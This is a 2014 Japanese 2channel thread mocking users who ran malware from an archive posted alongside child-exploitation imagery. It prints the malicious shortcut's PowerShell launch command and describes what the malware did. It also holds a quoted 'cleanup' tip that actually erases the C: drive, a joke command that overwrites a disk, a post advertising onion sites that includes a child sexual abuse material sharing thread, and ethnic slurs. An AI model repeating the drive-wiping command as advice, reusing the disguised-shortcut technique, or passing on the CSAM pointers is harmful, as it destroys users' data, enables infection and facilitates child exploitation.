【悲報】ロリコンケンモメン達が謎のウイルスに引っかかってパソコソをぶっ壊される

そーす
JC等数十人とコスプレセックスした挙句、ハメ撮り画像をインターネットで販売してたできる無職を逮捕
http://fox.2ch.net/test/read.cgi/poverty/1398836253/

ぎゃあああああああああああああ

ざけんな

これ

sc側の攻撃の一環だろ

ワロタｗ

670 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:11:00.51 ID:pnQc1fDF0 [5/15]
踏んでみたところこうなった
http://up3.null-x.me/poverty/img/poverty158026.png
http://up3.null-x.me/poverty/img/poverty158027.png
http://up3.null-x.me/poverty/img/poverty158028.png
http://up3.null-x.me/poverty/img/poverty158029.png
http://up3.null-x.me/poverty/img/poverty158030.png
http://up3.null-x.me/poverty/img/poverty158031.png

673 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:12:42.98 ID:pnQc1fDF0 [6/15]
http://up3.null-x.me/poverty/img/poverty158032.png
正規プロセスに見えるのはどうやってやってるんだろう？

678 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:15:44.23 ID:pnQc1fDF0 [7/15]
相変わらずzosx.asiaに変なポスト送ってる模様
bot化させてるのか

688 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:21:36.52 ID:pnQc1fDF0 [8/15]
>>686
見事にUAC一回も出てないわ
勿論切ってないし、よくもまぁシステムファイル弄れること

690 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:24:39.01 ID:pnQc1fDF0 [9/15]
つまらんから罠にのる
http://up3.null-x.me/poverty/img/poverty158035.png
（ここでUAC、shell）
んでWindows Defender死亡
http://up3.null-x.me/poverty/img/poverty158036.png

セキュリティーソフト入れててもだめなんか

斧ロダのファイルはいつも様子見してから落とすわ
毎回碌なことになんねーだもん

695 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:27:06.54 ID:pnQc1fDF0 [10/15]
TrustedInstaller.exeがどうもうるさいと思ったらWindows Update死にました
http://up3.null-x.me/poverty/img/poverty158038.png

701 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:29:44.48 ID:pnQc1fDF0 [11/15]
猛烈なディスクアクセス開始
http://up3.null-x.me/poverty/img/poverty158039.png

711 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:37:09.57 ID:pnQc1fDF0 [12/15]
スタートアップにもいました
VMware Toolsは白だけどシマンテックのソフト入れてるわけがないじゃん
http://up3.null-x.me/poverty/img/poverty158045.png

724 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:41:57.21 ID:pnQc1fDF0 [13/15]
しっかりACLも弄ってますねー
勿論C:\ProgramData\AudioなんてフォルダはWindowsのシステムフォルダでも何でもない
http://up3.null-x.me/poverty/img/poverty158048.png
http://up3.null-x.me/poverty/img/poverty158049.png

735 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:44:48.06 ID:pnQc1fDF0 [14/15]
ACL弄ったとたんに拒否エントリ作られるわｗ

750 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:53:00.21 ID:pnQc1fDF0 [16/16]
気づいたら消えてたｗｗ
http://up3.null-x.me/poverty/img/poverty158053.png

情弱ってバレちゃうだろやめろよ

最新のウィルスで
セキュリティソフト潰しながら壊してく

らしい(適当)

サイバーテロリスト西村博之ロリコンが悪いんだな？

歳を取ると判断力の低下と欲求に対する我慢が出来なくなってくるからなぁ

セキュリティソフトが鉄壁だと思ってるんか？
情弱は一回こういうのくらっとけ

これは恥ずかしくて警察に被害届出せないパティーン

情弱多すぎだろ…

なんだか懐かしいこの感覚

ハァハァしてると判断力鈍るよね
でもロリでハァハァしたのはよくないよね

普通に怖いわw

ここはひどいインターネッツですね

>>4
ほんこれ

こんな時期なんだからもうちょっと慎重に動けと

なぜ踏むんだ

BOT化されんのは可愛そうだから今日明日はこのスレあげといてやれ

通信先のサーバーが落ちたら仕込んだやつは嫌儲見てるかもね

>>6 >>9
言っとくけどそいつは多分挙動解析というか踏んでみた実験やってみてるだけだぞ。

たらこと戦争になってる時点で気をつけとけよ

　　　　　　　　　　　-
　　　　　　　　　（｀l_l´）
　　　　　　　　,　--┴--　､
　　　　　　／　　　　　　　ヽ
　　　　　 /　 ./⌒ヽ　/⌒ヽ　 l
　　　　　ー､　|　●|　|●　|　　,┐
　　　　　|___ヽゝ　ノ　ゝ　ノ／ /ヽ
　　　　/´｀ヽ　｀￣￣￣￣´　/　　|
　　　／ヽ　|　　　　　　　　　 | ／ヽ
　／ミ／ l |　　　　　　　　　| |＼彡＼
　 |Ξ |　　|.|　　　　　　　　　| | 　＼Ξ|
　 |Ξ/　　l |　　　l⌒⌒l　　 | l　　　|Ξl
　 |二l　　ヽヽ＿_ゝ　ノ＿ノﾉ　　　|.二l
　（　n)　　　　　　￣￣　　　　　　/ﾉ__ヽ
　ゝゝ' 　　　　　　　　　　　　　　　｀｀ノﾉ
　　　|＿＿＿＿＿＿＿＿＿＿＿＿|
　　　　　　　|ΞΞ｜　｜ΞΞ|
　　　　　　　|ΞΞ｜　｜ΞΞ|
　　　　　　 /ΞΞ/　　ヽ ΞΞヽ
　　　　　　ﾉ￣￣ﾉ　　　　ヽ￣￣ヽ
　　　　　 |　　　 |　　　　　 |　　　　|
　　　　　 |──-|　　　　　 |──--|
　　　　（＿＿＿）　　　　（＿＿＿_）

どこで何して引っかかったかなんて口が裂けてもいえないな

思ったより深刻でワロタ

ｓｃの方にも貼ってくるべ

つかデスクトップのkorea centerってガチチョンモメンか

冗談じゃなく信じられない

こんな見え見えの罠に引っ掛かるとかケンモンメンって呼称は池沼の代名詞か何かか？

ざまあカワイソス

でも誰かがひっかかって被害が発生しないと犯罪にならんし。

>>22
まとめ

rarの中身
　desktop.ini: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit, UPX compressed
　mov.lnk: MS Windows shortcut
　thumbs.db: Macromedia Flash Video

　mov.lnkの内容というかプロパティ↓
　C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe md 'mov' ;del 'mov.lnk' ;saps mov ;mv thumbs.db mov\mov.flv;sp mov\mov.flv attributes Archive;mv 'desktop.ini' '%temp%\x.exe';saps '%temp%\x.exe';

トラップのシナリオ
　・解凍したらファイルが3つでてくる。
　・そのうち「mov」と名前が付いてる、「フォルダのアイコン」をしたショートカットがトリガー
　・こいつをダブルクリックとか「開く」とかやると
　　　・desktop.ini を、c:\temp\x.exe という名前にリネーム移動
　　　・そいつを実行

アウトとセーフ
　・解凍しただけならセーフ
　・というか、mov ショートカットに触ってなければ問題ない
　・ショートカットをダブルクリックとか「開く」とかしたらアウト、シングルクリックは多分大丈夫
　・XPならそもそも↓こんなものは存在しないのでセーフ。vista/7/8は知らん
　　　C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe

thumbs.db
　JCかJSのウェブカメラムービー。ニコ生かなんか？パンツも乳首もない、まあ普通の映像

ロリコンじゃねーよ
たまたまぼーっとしてた所にあんな画像あったら一応見とかなきゃいけないだろ調査のひとつとして
もちろんスレ読みながら解凍までしたけど余裕のセーフよ
ざまぁみろカスが

意味わからん
何がおきてんだよ

入れてて良かったカスペルスキー

よくわからんが>>1のリンク踏むとやばいって事？

あれほどオカズ探す時は仮想PCかサンドボックス内でやれと
もうアボカドバナナかと

どうせ仮想マシンだろ
俺もウイルス起動して遊んでたわ

マジのウイルスじゃん

あんなババアの画像に釣られる馬鹿が悪い

ワロタ

何のファイルに釣られたんだ

おーこわいインターネッツですね

想像してたのより強烈なウイルスで笑えなかったｗ

ケンモメンもエロの前では冷静な判断力を失うって事でいいのか?

クソワロタ
何年前のスレだよ

>>37
本スレで参考画像やらが貼られる中に
斧にファイルあげられる
↓
アホ達が一斉にダウンロード
↓
ウィルスだと発覚凶悪な物らしく騒ぎに

大体こんな感じだったはず

賢者タイムだったので助かった
割とマジで

嫌儲民が実験で踏んでるだけじゃん

>>1のスレ見てるとさ、明らかに変なリンク張ってる単発が数匹居るんだよなぁ
おまけに今になって落ち着いたって報告増えてるみたいだし、バックドアだけじゃなくてオンラインコントロールタイプじゃね？
相当悪質みたいだが

>>35
実行しますかで暗転もしないの？

>>23
パスワードnewsだし

見てるのは間違いないだろ

クソワロタ
この板ってオッサンが中心(笑)なんじゃなかったの？
知らないファイル落としてウイルスにかかりましたとかネット覚えたての中学生なんだよなぁ

エクスカリバンで斬られたんだろう

>>35
ただの馬鹿じゃん

ここだけ10年前の2ch

スレの上に出てる奴は敢えて踏んでるだろ
パソコンの大先生っぽいし

いまだにエロ画像開いて興奮するバカが居るのか・・・・
２次元病だな

exe　ファイル　捨てたい

10年ぐらい前を思い出す騒動

>>6
>>9
こういうのを見ると次元が全く違く感じるわ
詳しいなぁ

ロリコンはどうなったっていいよ

>>54
そこら辺は知らん。
俺は実行してみたわけじゃないので。

画像パクってダウンロードさせるように誘導してる時点でアレなのに
それをダウンロードする嫌儲民ｗｗｗｗｗ

>>56
いや

ウイルスに引っかかるのはオッサンだと昔から決まっている

厨房は一度二度は失敗するが

その後は賢い

ロリコンじゃなくてよかった

というかlnkファイルとか踏むなよ・・・

>>35
＞・desktop.ini を、c:\temp\x.exe という名前にリネーム移動
＞・そいつを実行

どういうことが起こるの？

別にパソコンやられるのはいい
スパイウェアで個人情報抜かれて
ロリコンネタで釣られた事実と共にばらまかれるのはヤバイ

それで社会的に死んだ奴何人も見てきた

UAEも無力化されるらしいな
で知らないうちにポッドネット化するとは・・。

なんか、懐かしい！

ズボン下ろしてもう少しでDLする所だった、あぶねえ

>>4
ゆうちゃん無罪確定か！？

lnkから感染させるのって今じゃ塞がれてるんじゃねーの？

これテレビでエクスプローラーが乗っ取られるって言ってたやつか

お客さんかよ

>>35
XPが助かるという皮肉

最近平和だったからなぁ。ウィルスとか忘れてたろ

ファイル削除されてるが上げたやつが生IPだったらいろいろ笑える

>>72
ドバイまで抑えてるのかマジやばいな

>>69
lnkファイルはいわゆる「フォルダ」のアイコンにショートカットマークが付いている状態だから、
ひょっとしたら「rarを解凍したらまたなにかフォルダが出てきた」ように見えるのかも知れないね。

実際、mov.lnk実行すると
・mov.lnkを削除する
・mov ディレクトリを作成する
・mov ディレクトリの中に、thumbs.db を mov.flv とりネーム移動
って感じで動くように、lnkに設定されてるし、ショートカットマークの有無が違うだけで
「mov」は実行後もフォルダとして存在するからね。

.lnkをあまくみてたは

引っ掛かったロリコンざまぁだが、仕掛けたアホも糞だな

パワーシェルってXPでもWUで推奨になってなかったっけ？

西村とサイバー戦争中なのになにやってんじゃ

つか日本において
ウイルスのURL貼って逮捕されたケースって１件も無いんだよな
だからウイルス云々じゃ追い込めないから
エロで追い込めば？見てないからエロあったのかしらんけど

そういえば遠隔操作のあのブタ今シャバにいんだよね・・・・あっ（察し）

今後の展開予想
・嫌儲民のデスクトップが何故か2ch,scに公開される

>>84
lnkでこんなことできるなんて初めて知ったわ
powershellっていうwindows標準の機能を悪用してるんだな

scに貼ったら逮捕されますか？

該当スレの287の画像だけ見てきたがこれはリアルタイムで見てたら確実に引っかかったな助かった～＾＾

>>90
ワロタ

xpが大丈夫っていうのはギャグなんですかほんとなんですか

まあ、ウイルス撒いた奴はウイルス作成も頒布も刑事罰化されてること知ってやってんだろうね？

自称Symantecワロタｗ
RLOでファイル名偽装とかあったが、lnkでdesktop.iniに見せかけた実行ファイルをリネームとか色々考えるもんだな

>>89
未だに誰もこれ言ってないけど
マジこれじゃねーの

さっきオナニーしてて助かった

>>70
> どういうことが起こるの？

それは俺もよく分からん。実際踏んでみたわけでも解析してみたわけでもないので。
当該スレに行って ID:pnQc1fDF0 に聞いてみるとよろしい。

・Windows Defender/MSE/Firewallの無効化
・アンチウィルスの妨害
・削除しても再起動してもいつの間にか復活
・なんかよく分からん怪しいところに何らかの通信をしているらしい

という情報はある。詳細は不明。

>>88
ウイルス作成罪ができたからこれで立件できるんじゃね
まあどうせ生IPじゃやってないだろうけど

mateだから開いた事になってそう

まだこういうトラップしてくる奴いるんだな
気をつけよう

拡張子を表示する設定にしてるっぽいのに
フォルダに偽装したアイコンは拡張子表示されてないよな
こんなのできるの？ショートカットキーにすればできたっけ？

違うんよその懐かしさにやられたんよ
まさか今時ねーよなーってあたま真っ白で猿になってダウンロードよ
バカと情強の中間なので解凍までしてdesktop.ini見た時点であやしいと止めれたぼくでした＞＜

>>98
罪をなすりつけようとしてるの？

あのスレ1回開いたな
最初の方しか見なかったが気づいてたら多分落としてたわ、あぶねえ

>>92
人いないからセーフ

ウイルスって西村が昔やった手じゃん
怖いわ

jpgとgifだけにしとけと

こういうのは平日の昼間にやれよ
サイバーパトロールの警察がひっかかって面白いから

アイコン偽装ファイル見るのウィニー以来だわ

アホ速報

xp踏み台連呼とはなんだったのか・・

ﾜﾛﾀｗｗｗ情弱速報ｗｗｗ

ほんでdesktop.iniをその辺なエグゼに書き換えられたらどうなったんだ？

>>102
お前のmateは自動で斧まで行ってパスワード入力してファイル落として解凍してwindows用ファイルを実行するのか

久々にナチュラルにﾜﾛﾀ

サイバーパトロールとか馬鹿やってる連中ふまねえかな

安心しろお前ら。気付いた時点でまだマシだ

もっと下もいる

>>104
というか、ショートカット(.lnk)だけは、ファイルシステム上のファイルの実体が.lnkだけど
エクスプローラー上には拡張子は表示されない。

だから、dosプロンプトとかcygwinとかだと、拡張子は見える。

>>88
ブラクラ貼って逮捕じゃねえのこれ
「ブラウザクラッシャー」作成で逮捕、ウイルス供用罪の初適用事例に

これはゆうちゃん無罪あるで

>>104
ショートカットファイルは拡張子表示されない

リカバリーしろよ
どうせお前らのパソコンなんて重要なもんはいってねぇだろ？

126 ：仲間邦雄p7090-ipbfp804yosemiya.okinawa.ocn.ne.jp：2014/05/01(木) 02:14:57.83 ID:XhLFx8E00

>>1
わかったわかった　お前ら、ここに避難しろ　天国だぞここは　全てが許される　麻薬取引であれ爆弾制作方法、政府・企業の内部情報まで勢ぞろい

エロいのとアングラ板
http://xiwayy2kn32bo3ko.onion/ura/

上記のURLはtorブラウザーからしか書き込めないので注意

Tor Browser Bundleをダウンロードして起動
https://www.torproject.org/

匿名ソフト上児童ポ共有促進スレ　part6
http://xiwayy2kn32bo3ko.onion/test/read.cgi/ura/1380980281/

まじかる☆おにおん
http://magic774qt4qil5c.onion/login

最新の悪質なウイルスだったようだな
いいもん見れたわ

ちゃんと結果を貼れよ！！
ぶっ壊れたじゃ分からん

ウィルス関係ってホラーよりホラーだよな
何か怖くなってきたわ

初心者なら踏まないかもしれない
上級者は踏む前に対策するのを心がけている

俺みたいなのは踏む

>>121
>>124
見分けつかねーじゃねえか怖すぎだろ

西村一派の仕業かもしれないらしい

683 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:16:48.58 ID:PtHBrS1s0
今、流行のDDoSと合致するタイミング、踏み台にされてたりして

699 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:29:15.40 ID:abJytjXR0
>>683
わろた
ありえる

687 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 01:20:52.26 ID:d6/nlPuh0
SCの馬鹿共の罠かもしれんのにこういうのには慎重に動けよ
餌が来たら口開く雛かおまえらは

顔が好みじゃなかったのと
画像がエロじゃなさそうだったので助かった

onionの某ロリコンサイトにも同じの上がってたわ昨日

こういうのがあるからpcで2ちゃんやるの怖い

>>132
かわいい

わろたｗ

基本お前らの反応見てから落とすだろ

>>35
結局exeを踏ませて破壊するウイルスには対抗しようがない

>>131
ただし、「ショートカットマーク」だけは外れないので
見た目で全く分からないということはない。

>>124
うわぁそういえばそうか
拡張子表示してりゃ大丈夫だと思い込んでたわこわいこわい

PC-9801だからたすかったわ

>>130
初級者は他のケンモメンが踏むのを待つ

これウイルス作成罪で逮捕できないの？

>>93
元は63に貼られた画像をパクって利用してるからスレの最初から見てる奴と
話題になってから見てる奴はまず引っ掛からないしな
スレ更新してリアルタイムで興奮した奴の中でも特に猿思考の奴がピンポイントで引っ掛かってるはず

>>133
お前の寿命は短そうだな

バカだな画像は見るだけが最強普通落とさないコレで俺は助かった

xp最強伝説

誰よりも早く落とし誰よりも遅く開くが吉

中身があったのなら再UPして終了
なければ死ね

これpowershellじゃなくてcmdじゃできないのかな

最新のウィルス詰め合わせワロタ
そんなのどこで手に入れるんだよ

これはひっかかるわ
おっそろしいなあ

てことはろだの画像だけ見てた俺はセーフなんだな。よかったよかった

http://up3.null-x.me/poverty/img/poverty155400.jpg
http://d3j5vwomefv46c.cloudfront.net/photos/large/339479732.jpg
http://up3.null-x.me/poverty/img/poverty155400.jpg
http://d3j5vwomefv46c.cloudfront.net/photos/large/339479732.jpg
http://up3.null-x.me/poverty/img/poverty155400.jpg
http://d3j5vwomefv46c.cloudfront.net/photos/large/339479732.jpg
http://up3.null-x.me/poverty/img/poverty155400.jpg
http://d3j5vwomefv46c.cloudfront.net/photos/large/339479732.jpg
http://up3.null-x.me/poverty/img/poverty155400.jpg
http://d3j5vwomefv46c.cloudfront.net/photos/large/339479732.jpg

んで勃起できる物だったの？

こういうのMSは対策しないの？

XP大勝利ワロタ

実行ファイルはこわいねええ

西村だろ

餌が来たら口開く雛

へー
結構凄いウィルスもあるんだなあ

>>133
俺も顔が好みじゃなかったんで早々にｽﾚを離脱してた

XPだけ助かったのかｗ

>>140
その辺はアイコン偽装でも付いちゃうものなのか
それくらいのマークなら突破されそうな気がするけども・・

普通にこえーわｗ
ババアで同じ手口でやられるかもしれんし

これも実行するとヤバイの？

418 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/04/30(水) 21:13:00.87 ID:EsLQnq6X0
>>287
これ落とした奴はディスククリーンナップしたほうがいい
コマンドプロンプト開いてcmd /c rd /s /q c:\と入力

今北産業

開けてしまわないようにそ～っと慎重にファイルをゴミ箱にドラッグ＆ドロップして事なきを得たわ

　　　　　 .l l ＼| |　！ノートン先生　！　／/U　ヽ＿＿＿/
パソコン蛾人　　＼　！！大激怒！！　／／　　　U　　　　:::U:
ぶっ壊れ（＿_）　　＼　！！！！！　／　/／＿__　　　＼　　:::
たお！　（＿＿）　　　＼∧∧∧∧／　　 |　　|　　 |　　　　U ::::
　　　　（`Д´＃）　　　＜　ぶパ　＞　　　|U　|　　　|　　　　　::U:
　　＿|￣￣||＿）＿　＜　　っ　ソ＞　　　 |　├―-┤　U.....::::
　／旦|――||/／／|　＜　壊コ　＞　　　　ヽ　　　　　.....:::::::::
─────────＜　れン　＞──────────
<　　＿,ノ , 、ヽ､＿　ノ＜　た　蛾＞　　ﾌﾟｽﾌﾟｽﾌﾟｽ･･・・・∬∬
　（y○'）｀ヽ) ( ´（y○'）＜　 !!! 　　＞踏んじゃったよぉ＿＿＿
　　⌒　/　　　　ヽ⌒　／∨∨∨∨＼　　　∧＿∧　　|｜＼
うわあ |~￣￣~.|ぁぁ／パソコン蛾ぶ＼　（；´Д｀）　 |｜　｜
ぁぁ|　|||! i: |||! !|ぁ／っ壊れた！ディス　＼（　　つ／￣|｜／
ぁぁ| |||| !! !!||| :|／プレイが砕け散った！＼ヽ　|二二二」

DDos攻撃の踏み台にされてるんじゃね

こういう時のための解凍ソフトの除外設定
危ない拡張子は除外しとけ！

ショートカットの末尾に.flvつけとけば馬鹿は騙せるってことか　面白いな
ただショートカットアイコンになっちゃうのはどうにか偽造できないのか

>>54
ケンモメンは情強ぶってUAC解除してるだろ

>>124
恐ろしすぎる
Windowsの欠陥だろ

俺はショートカットのアイコンを表示しないようにしてたんだが、あまりよろしくないようだな
気をつけよう

あれ？見ただけならセーフだよな？

>>151
うーんどうだろうね。
cmdだとマルチステートメントができないんじゃないだろうか。
いやできるのかも知れんけども。

で、本物ください

>>178
あーあ

誰がやったんだ？メリケンか？

>168
情弱乙
http://oshiete.goo.ne.jp/qa/2656130.html

あー面白い

>>158
新種のウィルスが出て来る前にどうやってワクチン作るんだよ

圧縮ファイル開いて感染なら同情するけど実行ファイル開いたってバカだろ

>>174
思わせぶりに階層深くしたり、めしゃしこフォルダ→ショートカットとなるように並べたりとか

>>168
くそわろた

>>174
http://up3.null-x.me/poverty/img/poverty158027.png
老眼にはフォルダにしか見えない

スレ見てたからまさかひっかかってないかあせって確認しちゃった
こういう偽装はなぜか自分はひっかからない不思議

>>186
正確には実行ファイルを開いたわけじゃない
>>35参照

ComodoのHIPSさんとかも反応せんかったんけ？

>>6
何でこの人は大丈夫なの？仮想マシン？

ネットで拾った怪しげなファイルを踏むときは、
１．仮想PC上に転送
２．virustotalに投げる
３．仮想PC上で踏む
４．問題なさそうならメインマシンにコピーして踏む

の４段階でやってるな

>>168
@wiki騒動の時にこれやったけど動作軽くなったわ

ロリコンの情弱だが、そのスレだけは気に止まらなかったな

バーチャルPCはほんと便利だね

>>102
手動にしろよ

ファイル削除されててみれん

>>178落としたんじゃなくて下にあったURL踏んだだけだよ

>>193
多分仮想マシン上のWindows7だな。

つかなんの躊躇もなくそんな怪しげなファイル開ける馬鹿は何を考えてるんだ

懐かしい感じいいな

さすがケンモメンだぜ

>>194
壁紙、解像度、デスクトップのファイル、どうみても実験用仮想マシンだな

情弱にもほどがあるだろ・・・

普通サブのオフラインPCで実行するだろ
ばかか？

XPでﾛﾘｺﾝでもないし適当にファイル落したりしない俺にはまったくもっての危険度０

>>185
じゃなくてlnkファイルに引数（合ってるか知らん）を加えれるように
しとく必要ってあるのか？

情弱チョンモメンワロタｗｗｗｗｗｗｗｗｗｗｗｗｗ

0歳児が好みの俺は引っかからなかった

>>35
腹抱えて笑った
被害者のマシン見てみたい
閉鎖環境作って動かしてみっか

情弱すぎるだろ

ウィルス貼った奴は逮捕だろ

>>189
こんなの即押ししますわ

何というか、本気で厨房だらけになったなぁ

情強ならWINRARで中身を確認してから解凍するだろ

>>189
これならエロは偉大だから冷静さ吹っ飛んで勢いでクリックしてしまいそうだな。

と見せかけた画像拡散の妨害工作の線

新2ch勢力ほんま勘弁だなぁ

フォルダ偽装とか懐かしいにもほどがあるわw

サムネイルとかdesktop.iniってたまに入ってるよな
それを利用するとは

2010年あたり？ＸＰとかvistaでエクスプローラーに悪いlnkを表示させただけでアウトとかもあったよな

やっぱ実際に食らったやつの怒りや悲壮感はなかなか出せねーな
もっと頑張ろう

>>84
俺も
windowsって糞だわ

>>209
スタートメニューとかコンパネとか、引数付きのショートカットのオンパレードだぞ

レジストリいじるとlnkも拡張子表示できるで

>>189
これ踏む奴相当だろｗｗｗｗｗｗｗｗｗｗｗｗｗｗ

一応新種なんか？

http://www.aguse.jp/?url=zosx.asia

チンポが切ないときってショートカットアイコンがフォルダアイコンに見えるからね
仕方ないよね

>>189
これはひどい

>>208
さすがにそれはリテラシーなさすぎ

BOT化されたらお前のパソコンからDOS攻撃や犯罪予告の書き込みがされることも

最悪お前がゆうちゃんみたいになってることを自覚しろ

どうでもいいけどロリコンケンモメンって響きが好き
声に出して読みたい日本語

確認しようとした警察が踏んでるとかだと意地になって逮捕しに来るだろうに踏んでないんだろうか

>>215 >>218
なお、このmovショートカットを実行すると

・movショートカット自身を削除
・mov フォルダを作成
・thumbs.db を mov.flvという名前でmovフォルダへリネーム移動

という挙動をするから、ショートカットマーク（矢印）さえ気にしなければ
「ん？ダブルクリックミスったかな？」って感じになってmovをダブルクリックしなおして、
そうするとmov.flvがそこにある、ように見える。

んでもって

> sp mov\mov.flv attributes Archive

この部分がいったい何の目的でなにをやっているのかがよく分からない。

zipはスルーしてコンテンツマーケットの画像だけ見てスレを去った俺が正解だったな

男なら黙ってクリックやろ

>>217
それアプリケーションのファイルブラウザで見てるだけで
叩いたら結局アウトなんじゃないの

今の嫌儲って
結局、旧速より勢いがある旧速っぽい場所だから来てるっていう
リテラシーない扇動されるだけのアホが９割だからな
こうやって駆逐されていくのもいいだろねｗ

あ、ごめんよくみてなかったわ
もうねるわ

608 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 00:38:33.02 ID:WJKti3s00 [2/6]
>>287って
下に貼ってある4つの画像JaneXenoで表示するだけだったら問題ないんだよなあ？
上のファイルはダウンロードすらしてない

624 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 00:45:05.69 ID:WJKti3s00 [3/6]
まあ、食らちまったやつらはがんばって消しえくれ
>>287はとりあえず、ウイルス拡散で逮捕でもされとけよ
さてと、俺は安心したし寝るわﾉｼ

627 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 00:47:01.94 ID:WJKti3s00 [4/6]
>>287ってノートンアンチウイルスでも反応しないの？
ノートン様が反応しないウイルスソフトはないだろ？
素人目に見てだが。

634 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 00:49:43.88 ID:WJKti3s00 [5/6]
>>629
ノートンでも対応してないの？
何とか法でウイルス、スパイくさいのは全部止めてるんじゃないの？
スクリプトもやばそうな文面だったら止めてるんじゃないの？
ノートンすら効かんかったら不安やわ～

640 名前：番組の途中ですがアフィサイトへの転載は禁止です[] 投稿日：2014/05/01(木) 00:53:42.25 ID:WJKti3s00 [6/6]
>>637
そうなのか・・・
怖いなあ、俺はとりあえず、Janeで画像開いただけだからセーフだけど、
まあ、お前ら大変だが頑張ってくれ・・・

ノミの心臓ケンモメンｗｗｗｗｗｗｗｗｗｗｗ

やっぱウイルス作るやつって自分が作ったやつ試したいんだろうな

こういうのでも実行する人はするからね
sudo su -c "yes '＼(^o^)／' > /dev/sda"

>>240
自然淘汰を重ねて精鋭が生き残る

このスレ見てたけどすぐにロリ画像貼られた瞬間に元ネタ動画を思い出せるのが情強

にしてもここで小林カツ代エクスプローラーネタなんかを混ぜたウイルスにしないのがsc民
すげーつまらない

P2Pで鍛えてたらフォルダのアイコン変えとくのは常識だよね

rarって解凍する前に中身みれただろ？
なんでいきなり開いちゃうんだ？

今度は誰のケツ毛が晒されるのか

よくわからんけど結局被害者はどうなっちゃうのかだけ教えてくれ

うかつにリンク踏むもんじゃないな
こわいこわい

正直言うと速攻で落としたんだ俺

ただ、誰がこんなのに引っかかるんだよｗｗｗ
って思いながらスルーしてたら続々と震え声上がってきてビビった
昔多かった割れファイルに一緒になって入ってるエロサイトのリンクとかの威力を今更知った
というかますますYahoo知恵遅れ化現象が進んでる気がする
そして一番ビビってるのはたぶん上げた本人

>>242
何だこれ糞わろっしゅｗｗｗｗｗｗｗｗｗｗ

家電業界がステマでXP叩き始めたと思ったらこれだよ
乗せられてPC買い換えてウイルス感染してるやつも多いだろうなわろた

フォルダアイコンに偽装したexeに引っかかった昔を思い出すなあ
当時は98のノーパソだったからいきやりディスクがパンパンになってすぐ感染が発覚したけど

>>248
そらエロの魔力よ

炉裏面乙ー

>>242
アホの典型だな

exeみたいなの踏んだのか？

こういう事態に備えて常日頃から仮想PCでここ見てる俺大勝利！
まぁ、今回の件に関してはパスワードがnewsって時点で違和感を覚えたから落とさなかったけどね
アフィチルだらけの今のニュー速にわざわざファイルをアップロードする奴なんかいないから

あめぞうウィルスの時と同じ作戦か

空白exeみたいなもん？

ネットを始めたばかりで2chに来た当初はお前らもブラクラ踏みまくったよな
家族共用のPCのトップページがエロサイトになったよな

いい勉強になった

>>189
これは踏むわｗｗｗ
恐ろしい

>>259
>>35

きんたまとか山田とかけんしんなんちゃらとか仁義とか懐かしいなw
当時の騒動知ってたらフォルダー偽装とか拡張子よくよく確認してからクリックするだろw

>>252
知恵遅れはrarの解凍の仕方から質問だから
甘く見るなよ

拾いに行ったけどもう無いわ
誰か持ってないの？

人間が一番のセキュリティホール
あらためて実感

マカードヤ顔

これわざと踏んだんちゃうの

>>242
ガキだと思ってるけどオッサンなんだろな～

炉裏面乙ー

>>242
震えすぎワロタ

情弱なロリコンってかわいそう
まともなロリ動画に一生ありつけないんだろ？

しかしヒントたくさんあんのに踏んじゃうのか
ショートカットアイコンもそうだがファイルサイズだって明らかにおかしいし
これはネット初心者だな！！

今北産業

ロリコンだけど本当我慢して良かった

>>242
ID:WJKti3s00の情報リテラシーがヤバい
よくJaneインストールできたな

しかし何が怖いか、って今までもショートカットでウイルスがあったかもしれない、ってことだよな
踏みまくってたかもしれん

>>233
おい、、やめろよ怖いだろ・・・
インターネット閲覧してるだけでもなるのか？？

あー情弱すぎてわけわかんなくなってきた
結局movフォルダはexeファイルで拡張子を.lnkにして
ショートカットキーに偽装したって感じ？
ついでにアイコンはフォルダに変えて

>>18
すげーわかる
性欲って怖いわ
俺もハニトラ着たら多分引っかかる

>>267
これは、むしろ当時の騒動知ってたら踏んでしまうタイプ

>>242
100％落として、引っかかったな…

アンチウィルスソフトにひっかからない新作ウィルス
つまり自作のウィルスを２ｃｈで出すようなやつがいるんだな

>>242
画像開いただけだから！開いただけだから！

>>236
> get-help sp
名前
Set-ItemProperty
概要
項目のプロパティの値を作成または変更します。

アーカイブ属性つけてるけど、新規ファイルだってのを誤魔化したいのかな。目的が分からん

>>282
昨日からIE使うなって騒がれてる奴あるだろ？
あれは、見るだけで乗っ取られたりする可能性があるタイプだよ

震え過ぎたろ(断定)

XP大勝利スレ

突然斧のURLとパスと既存の画像だけ貼ってる単発を信用する奴がアホだろ
今どき気前よくあうロリ上げる奴が嫌儲にいるとは到底考えられない

>>282
そらそうよ

えぇ…誰があげたか分からないファイルを何の疑いもなく落とすとか池沼かよケンモメン
バカッターで犯罪自慢してる奴と変わらんぞマジで

危ねえ
後からそのスレ見るつもりだった

